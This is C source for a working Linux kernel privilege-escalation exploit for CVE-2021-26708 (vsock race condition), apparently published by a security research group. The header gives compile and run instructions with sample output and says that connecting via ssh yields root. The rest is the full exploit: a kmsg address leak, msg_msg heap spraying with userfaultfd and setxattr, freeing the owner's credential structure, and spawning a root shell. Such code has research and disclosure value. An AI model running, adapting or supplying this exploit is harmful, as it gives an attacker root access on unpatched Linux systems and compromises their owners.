/*
 * Exploiting CVE-2021-26708 (Linux kernel) with sshd
 * by Vault Labs, HardenedVault
 * 
 * # gcc -o cve-2021-26708 cve-2021-26708.c -lpthread
 * 
 * Terminal A on targeting machine:
 * # ./cve-2021-26708
 * [ved@localhost ~]$ ./cve-2021-26708
 * [+] finish init userfaultfd:
 *	page fault addr: 5004000
 * [+] try to get addr of good msg_msg...
 * [-] msgget(good msg) failed: Resource temporarily unavailable
 * [-] try again
 * [ved@localhost ~]$ ./cve-2021-26708
 * [+] finish init userfaultfd:
 *	page fault addr: 5004000
 * [+] try to get addr of good msg_msg...
 * [+] 1370'th finished get addr of good msg_msg
 * [+] get the address of good msg after 1370 trys
 * [+] addr_of_good_msg: 0xffff897e0a4bbb80
 * [+] addr_of_vsk: 0xffff897e0a56c280
 * [+] adapt the msg_msg spraying payload:
 *	msg_ptr 0x5003fd8
 *	m_type 1337 at 0x5003fe8
 *	m_ts 6096 at 0x5003ff0
 *	msgseg next 0xffff897e0a56c280 at 0x5003ff8
 * [+] prepare setxattr threads...
 * [+] start read userfault...
 * [+] Start free good msg...
 * [+] msgsnd failed: msg->security maybe freed
 * [+] intriguring userfaultfd page fault(msg)
 *	page fault address: 5004000 flags: 0
 * [+] try to read kernel leak...
 * [+] 404'th finished read the leak
 * [+] read leak:
 *	sk_def_write_space: ffffffffbb9851b0
 *	owner_cred: ffff897e052c43c0
 *	sk_memcg: ffff897e032a3000
 * [+] Start free cred...
 * [+] msgsnd failed: owner cred maybe freed !!!
 * [+] 1406'th free owner_cred, waitting for sshd
 *
 * Try to run a few "ssh -p 2674 victim@targetip&" when you see "xth free owner_cred, waitting for sshd".
 * You'll probably getting the root if you're lukcy;-)
 */

#define _GNU_SOURCE

#include <time.h>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/mman.h>
#include <semaphore.h>
#include <sys/ioctl.h>
#include <stdatomic.h>
#include <sys/socket.h>
#include <linux/vm_sockets.h>
#include <linux/userfaultfd.h>
#include <stdlib.h>
#include <sys/msg.h>
#include <signal.h>
#include <stdbool.h>
#include <sys/xattr.h>


#define PAGE_SIZE 4096


unsigned long addr_of_good_msg = 0;
unsigned long addr_of_vsk = 0;
unsigned long sk_def_write_space = 0;
unsigned long owner_cred = 0;
unsigned long sk_memcg = 0;

#define SETXATTR_THREAD_NUM 400
pthread_barrier_t setxattr_barrier_msg;

int vsk_init() {
  int vsk = socket(AF_VSOCK, SOCK_STREAM, 0);
  unsigned long buffer_min_size = 0x1;

  if (setsockopt(vsk, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE, &buffer_min_size, sizeof(buffer_min_size))){
    perror("[-] set buffer min size");
    exit(1);
  }

  unsigned long buffer_max_size = 0xfffffffffffffffdlu;
  if (setsockopt(vsk, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE, &buffer_max_size, sizeof(buffer_max_size))){
    perror("[-] set buffer max size");
    exit(1);
  }

  return vsk;
}


struct userfault_data {
  int uffd;
  struct uffdio_api uffd_api;
  struct uffdio_register uffd_reg;
  void *msg_map_addr;
  int goodmsg_qid;
};

void userfaultfd_init(struct userfault_data *uf_d) {
  uf_d->uffd = (int) syscall(323, 0);
  if (uf_d->uffd < 0) {
    perror("[-] userfaultfd failed");
    exit(0);
  }

  uf_d->uffd_api.api = UFFD_API;
  uf_d->uffd_api.features = 0;

  if (ioctl(uf_d->uffd, UFFDIO_API, &(uf_d->uffd_api)) == -1) {
    perror("[-] ioctl UFFDIO_API");
    exit(0);
  }

  uf_d->uffd_reg.range.start = (uint64_t)(uf_d->msg_map_addr + PAGE_SIZE * 4);
  uf_d->uffd_reg.range.len = PAGE_SIZE;
  uf_d->uffd_reg.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uf_d->uffd, UFFDIO_REGISTER, &(uf_d->uffd_reg))) {
    perror("ioctl UFFDIO_REGISTER");
    exit(0);
  }

  printf("[+] finish init userfaultfd:\n");
  printf("\tpage fault addr: %llx\n", uf_d->msg_map_addr + PAGE_SIZE * 4);
  return;
}
struct msgbuf_leak {
  long mtype;
    unsigned long mtext[6096/sizeof(unsigned long)];
};
void *userfaultfd_event(void *data) {
  struct userfault_data *uf_d = (struct userfault_data*)data;
  struct uffd_msg msg;
  printf("[+] start read userfault...\n");
  while(1) {
    int n = read(uf_d->uffd, (void*)&msg, sizeof(msg));
    if (n <= 0) {
      perror("[-] userfault read failed");
      exit(0);
    }

    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      perror("[-] userfault unexpected event");
      exit(0);
    }

    if ((msg.arg.pagefault.address < (uint64_t)uf_d->msg_map_addr + PAGE_SIZE*4)
    || (msg.arg.pagefault.address >= (uint64_t)(uf_d->msg_map_addr + PAGE_SIZE*5))
        ) {
        perror("[-] userfault unexpected fault address");
        exit(0);
    }
    if (sk_def_write_space == 0) {
        printf("[+] intriguring userfaultfd page fault(msg)\n");
        printf("\tpage fault address: %llx flags: %llx\n", msg.arg.pagefault.address, msg.arg.pagefault.flags);
        printf("[+] try to read kernel leak...\n");
        struct msgbuf_leak *msg = malloc(sizeof(struct msgbuf_leak));
        if (msg == NULL) {
            perror("[-] malloc(msgrcv) failed");
            exit(0);
        }
        memset(msg, 0, sizeof(struct msgbuf_leak));
        int msgrcv_ret = msgrcv(uf_d->goodmsg_qid, msg, 6096, 0x0, MSG_NOERROR|MSG_COPY|IPC_NOWAIT);
        if (msgrcv_ret < 0)
            perror("[-] msgrcv(leak) failed");

        sk_def_write_space = msg->mtext[591];
        owner_cred = msg->mtext[610];
        sk_memcg = msg->mtext[588];
    }
  }
  return NULL;
}


struct setsockopt_data {
  int vsk;
  unsigned addr_to_free;
  int us_to_sleep;
};
// overwrite offset to 40 of vsk->trans (msg_msg) */
void* vsk_setsockopt(void *p) {
  struct setsockopt_data *sso_d = (struct setsockopt_data*)p;
  usleep(sso_d->us_to_sleep);
  // the address to be freed
  unsigned long size = sso_d->addr_to_free;
  if (setsockopt(sso_d->vsk, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE, &size, sizeof(size))) {
    perror("[-] setscokopt");
    exit(0);
  }
}

#define MSG_PAYLOAD_SZ 40
struct list_head {
  void* next;
  void* prev;
};
struct msg_msg {
  struct list_head m_list;
  long m_type;
  size_t m_ts;
  struct msg_msgseg *next;
  void *security;
  /* the actual message follows immediately */
};

void* do_msg_leak_setxattr(void *data) {
    void* xattr_addr = data;
    pthread_barrier_wait(&setxattr_barrier_msg);
    if (setxattr("./cve-2021-26708", "user.exp", xattr_addr, 64, 0) == -1) {
        perror("[-] msg leak setxattr failed");
        exit(0);
    }
}

void* adapt_xattr_vs_sysv_msg_spray(void* spray_data, unsigned long addr_to_read) {
  struct msg_msg *msg_ptr;
  void *xattr_addr = spray_data + PAGE_SIZE * 4 - MSG_PAYLOAD_SZ;

  /* Don't touch the second part to avoid breaking page fault delivery */
  memset(spray_data, 0xa5, PAGE_SIZE * 4);

  printf("[+] adapt the msg_msg spraying payload:\n");
  msg_ptr = (struct msg_msg *)xattr_addr;
  msg_ptr->m_list.prev = addr_of_good_msg;
  msg_ptr->m_list.next = addr_of_good_msg;
  msg_ptr->m_type = 0x1337;
  msg_ptr->m_ts = 6096;
  msg_ptr->next = (struct msg_msgseg *)addr_to_read; /* set the segment ptr for arbitrary read */
  printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
         msg_ptr,
         msg_ptr->m_type, &(msg_ptr->m_type),
         msg_ptr->m_ts, &(msg_ptr->m_ts),
         msg_ptr->next, &(msg_ptr->next));
  return msg_ptr;
}

void prepare_setxattr_threads_msg_leak(void* msg_ptr) {
  printf("[+] prepare setxattr threads...\n");
  pthread_t th[SETXATTR_THREAD_NUM - 1];
  for(int i = 0; i < SETXATTR_THREAD_NUM - 1; i++) {
      pthread_create(&th[i], NULL, do_msg_leak_setxattr, msg_ptr);
  }
}

struct msgbuf_64 {
  long mtype;
  char mtext[16];
};
struct connect_data {
  int vsk;
  int us_to_sleep;
  int qid;
  struct msgbuf_64 msg;
  void *spray_data;
};
void* vsk_connect_goodmsg(void *p) {
  struct connect_data *conn_d = (struct connect_data*)p;
  struct sockaddr_vm addr = {
    .svm_family = AF_VSOCK,
  };

  addr.svm_cid = VMADDR_CID_LOCAL;
  connect(conn_d->vsk, (struct sockaddr*)&addr, sizeof(struct sockaddr_vm));
  addr.svm_cid = VMADDR_CID_HYPERVISOR;
  connect(conn_d->vsk, (struct sockaddr*)&addr, sizeof(struct sockaddr_vm));

  usleep(conn_d->us_to_sleep);
  // alloc good msg_msg in vsk->tran
  if (msgsnd(conn_d->qid, &(conn_d->msg), sizeof(char)*16, IPC_NOWAIT) == -1) {
      perror("[-] msgsnd(alloc good msg_msg) error");
      exit(0);
  }
}

void* vsk_connect_corrupt(void *p) {
  struct connect_data *conn_d = (struct connect_data*)p;
  struct sockaddr_vm addr = {
    .svm_family = AF_VSOCK,
  };

  usleep(conn_d->us_to_sleep);
  addr.svm_cid = VMADDR_CID_LOCAL;
  connect(conn_d->vsk, (struct sockaddr*)&addr, sizeof(struct sockaddr_vm));
  addr.svm_cid = VMADDR_CID_HYPERVISOR;
  connect(conn_d->vsk, (struct sockaddr*)&addr, sizeof(struct sockaddr_vm));

  // currupted msg_msg, msg->security == addr_to_good_msg
  if (msgsnd(conn_d->qid, &(conn_d->msg), sizeof(char)*16, IPC_NOWAIT) == -1) {
      printf("[+] msgsnd failed: msg->security maybe freed\n");
      // wake setxattr threads
      pthread_barrier_wait(&setxattr_barrier_msg);
      return (void*)0xffff;

  }
  // free corrupted msg_msg security which is addr_to_good_msg
  msgrcv(conn_d->qid, &(conn_d->msg), sizeof(char)*16, 0x1,  IPC_NOWAIT);
}

void* vsk_connect_cred(void *p) {
  struct connect_data *conn_d = (struct connect_data*)p;
  struct sockaddr_vm addr = {
    .svm_family = AF_VSOCK,
  };

  usleep(conn_d->us_to_sleep);
  addr.svm_cid = VMADDR_CID_LOCAL;
  connect(conn_d->vsk, (struct sockaddr*)&addr, sizeof(struct sockaddr_vm));
  addr.svm_cid = VMADDR_CID_HYPERVISOR;
  connect(conn_d->vsk, (struct sockaddr*)&addr, sizeof(struct sockaddr_vm));

  // currupted msg_msg, msg->security == addr_to_good_msg
  if (msgsnd(conn_d->qid, &(conn_d->msg), sizeof(char)*16, IPC_NOWAIT) == -1) {
      printf("[+] msgsnd failed: owner cred maybe freed !!!\n");
      return (void*)0xffff;

  }
  // free corrupted msg_msg security which is addr_to_good_msg
  msgrcv(conn_d->qid, &(conn_d->msg), sizeof(char)*16, 0x1,  IPC_NOWAIT);
}

int open_kmsg() {
  int kmsg_fd = open("/dev/kmsg", O_RDONLY|O_NONBLOCK|O_SYNC);
  if (kmsg_fd < 0) {
    perror("[-] open /dev/kmsg");
    exit(1);
  }
  return kmsg_fd;
}

struct addr_from_kmsg {
  unsigned long rbx;
  unsigned long rcx;
};
struct addr_from_kmsg read_kmsg(int kmsg_fd, unsigned long orig) {
  int t1, t2, t3;
  unsigned long rax = orig, rbx = orig, rcx = orig;
  char *line = valloc(1024*sizeof(char));
  size_t max_size = 1024;

  lseek(kmsg_fd, SEEK_DATA, 0);
  for(int i = 0; i < 1000; i++) {
    ssize_t ret = read(kmsg_fd, (void*)line, max_size);
    if (ret > 0) {
      int c = sscanf(line, "%d,%d,%d,-;RAX: %llx RBX: ffff%llx RCX: ffff%llx\n", &t1, &t2, &t3, &rax, &rbx, &rcx);
    }
  }
  free(line);

  struct addr_from_kmsg ret;
  ret.rbx = rbx;
  ret.rcx = rcx;

  return ret;
}

void close_kmsg(int kmsg_fd) {
  close(kmsg_fd);
}


int main(void) {
  struct userfault_data *uf_d = malloc(sizeof(struct userfault_data));
  pthread_t t;
  void *msg_addr = mmap((void*)0x5000000, PAGE_SIZE * 5, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
  if (msg_addr != (void*)0x5000000) {
    perror("[-] userfaultfd init map failed");
    exit(0);
  }
  uf_d->msg_map_addr = msg_addr;
  userfaultfd_init(uf_d);

  int kmsg_fd = open_kmsg();
  read_kmsg(kmsg_fd, 0);

  printf("[+] try to get addr of good msg_msg... \n");

  int good_msg_qid = msgget(IPC_PRIVATE, IPC_CREAT|0666);
  if(!good_msg_qid) {
      perror("[-] msgget(good msg) failed");
      printf("[-] try again\n");
      exit(0);
  }
  int corrupt_msg_qid = msgget(0x1235, IPC_CREAT|0666);
  if (!corrupt_msg_qid) {
      perror("[-] msgget(corrupt) failed");
      printf("[-] try again\n");
      exit(0);
  }

  int cnt = 0;
  while(1) {
    int vsk = vsk_init();
    pthread_t t1, t2;

    struct setsockopt_data sso_d;
    sso_d.vsk = vsk;
    sso_d.addr_to_free = 0x41414141 & 0xffffffff;
    sso_d.us_to_sleep = 0;

    struct connect_data conn_d;
    conn_d.vsk = vsk;
    conn_d.qid = good_msg_qid;
    conn_d.msg.mtype = 1;
    uf_d->goodmsg_qid  = conn_d.qid;
    // to prevent msg->security being corrupted by setsockopt
    conn_d.us_to_sleep = 35;

    pthread_create(&t1, NULL, vsk_connect_goodmsg, (void*)&conn_d);
    pthread_create(&t2, NULL, vsk_setsockopt, (void*)&sso_d);

    pthread_join(t1, NULL);
    pthread_join(t2, NULL);


    struct addr_from_kmsg addr = read_kmsg(kmsg_fd, 0);
    if (addr.rcx != 0) {
      addr_of_good_msg = addr.rcx|0xffff000000000000;
      addr_of_vsk = addr.rbx|0xffff000000000000;
      printf("[+] %d'th finished get addr of good msg_msg\n", cnt);
      break;
    }

    // No kmsg leak, we couldn't get the addr of good msg, use msgrcv to free them
    msgrcv(conn_d.qid, &(conn_d.msg), sizeof(char)*16, 1, IPC_NOWAIT);
    close(vsk);
    cnt++;
  }

  printf("[+] get the address of good msg after %d trys\n", cnt);
  printf("[+] addr_of_good_msg: 0x%llx\n", addr_of_good_msg);
  printf("[+] addr_of_vsk: 0x%llx\n", addr_of_vsk);
  pthread_create(&t, NULL, userfaultfd_event, (void*)uf_d);

  cnt = 0;
  pthread_barrier_init(&setxattr_barrier_msg, NULL, SETXATTR_THREAD_NUM);
  void *p = adapt_xattr_vs_sysv_msg_spray(uf_d->msg_map_addr, addr_of_vsk);
  if (!p) {
      perror("[-] prepare leak msg payload failed");
      exit(0);
  }
  prepare_setxattr_threads_msg_leak(p);

  printf("[+] Start free good msg...\n");
  while(1) {
    int vsk = vsk_init();
    pthread_t t1, t2;

    struct setsockopt_data sso_d;
    sso_d.vsk = vsk;
    sso_d.addr_to_free = addr_of_good_msg & 0xffffffff;
    sso_d.us_to_sleep = rand()%50;

    struct connect_data conn_d;
    conn_d.vsk = vsk;
    conn_d.qid = corrupt_msg_qid;
    // to prevent msg->security being corrupted by setsockopt
    conn_d.us_to_sleep = rand()%30;
    conn_d.spray_data = uf_d->msg_map_addr;
    conn_d.msg.mtype = 0x1;

    pthread_create(&t1, NULL, vsk_connect_corrupt, (void*)&conn_d);
    pthread_create(&t2, NULL, vsk_setsockopt, (void*)&sso_d);

    void *ret;
    pthread_join(t1, &ret);
    pthread_join(t2, NULL);
    if ((int)ret == 0xffff) {
      break;
    }

    close(vsk);
    cnt++;
  }
  printf("[+] %d'th finished read the leak\n", cnt);

  pthread_barrier_destroy(&setxattr_barrier_msg);

  sleep(1);
  if (sk_def_write_space != 0) {
      printf("[+] read leak:\n");
      printf("\tsk_def_write_space: %llx\n", sk_def_write_space);
      printf("\towner_cred: %llx\n", owner_cred);
      printf("\tsk_memcg: %llx\n", sk_memcg);
  } else {
      printf("[-] failed to read leak, reboot and try again\n");
      exit(0);
  }

  cnt = 0;

  int orig_uid = getuid();
  printf("[+] Start free cred...\n");
  while(1) {
    int vsk = vsk_init();
    pthread_t t1, t2;

    struct setsockopt_data sso_d;
    sso_d.vsk = vsk;
    sso_d.addr_to_free = owner_cred & 0xffffffff;
    sso_d.us_to_sleep = rand()%50;

    struct connect_data conn_d;
    conn_d.vsk = vsk;
    conn_d.qid = corrupt_msg_qid;
    // to prevent msg->security being corrupted by setsockopt
    conn_d.us_to_sleep = rand()%30;
    conn_d.spray_data = uf_d->msg_map_addr;
    conn_d.msg.mtype = 0x1;

    pthread_create(&t1, NULL, vsk_connect_cred, (void*)&conn_d);
    pthread_create(&t2, NULL, vsk_setsockopt, (void*)&sso_d);

    void *ret;
    pthread_join(t1, &ret);
    pthread_join(t2, NULL);
    if ((int)ret == 0xffff) {
      break;
    }

    close(vsk);
    cnt++;
  }
  printf("[+] %d'th free owner_cred, waitting for sshd\n", cnt);

  while(true){
      if(getuid() != orig_uid) {
          printf("[+] got a new uid: %d != %d", orig_uid, getuid());
          system("bash");
          break;
      }
  }
  close_kmsg(kmsg_fd);
  return 0;

}